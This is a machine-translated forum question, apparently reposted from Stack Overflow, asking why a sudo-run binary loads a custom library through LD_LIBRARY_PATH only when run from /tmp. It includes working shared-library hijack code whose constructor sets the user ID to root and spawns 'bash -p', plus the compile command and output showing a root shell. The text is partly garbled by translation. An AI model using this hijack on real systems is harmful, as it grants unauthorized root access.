Я пытаюсь выполнить двоичный файл с повышенными привилегиями и сделать его загруженной библиотекой из конкретного каталога, установив переменную среды LD_Library_path. Прыгайте < /p>
#include
#include
int main() {
// Prova ad aprire la libreria
void *handle = dlopen("./mylib.so", RTLD_LAZY);
if (!handle) {
printf("[-] libreria non trovata\n");
return 1;
}
else {
printf("[+] libreria caricata\n");
}
dlclose(handle);
return 0;
}
< /code>
и библиотека: < /p>
#define _GNU_SOURCE
#include
#include
#include
static void hijack() __attribute__((constructor));
void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
< /code>
Скомтилируется с: < /p>
gcc -o /tmp/mylib.so -shared -fPIC /tmp/lib.c
< /code>
То, что я пытаюсь сделать, - это запустить исполняемый jump, внедряющий мою библиотеку: < /p>
sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
< /code>
Но он запускает его правильно, только если я нахожусь в каталоге /TMP: < /p>
┌──(kali㉿kali)-[~/Desktop]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
[-] libreria non trovata
┌──(kali㉿kali)-[~/Desktop]
└─$ cd /tmp
┌──(kali㉿kali)-[/tmp]
└─$ sudo LD_LIBRARY_PATH=/tmp /home/kali/Desktop/jump
┌──(root㉿kali)-[/tmp]
└─# id
uid=0(root) gid=0(root) groups=0(root)
┌──(root㉿kali)-[/tmp]
└─# exit
exit
[+] libreria caricata
< /code>
Вопрос < /strong>
Почему? < /p>
Подробнее здесь: https://stackoverflow.com/questions/796 ... -have-to-b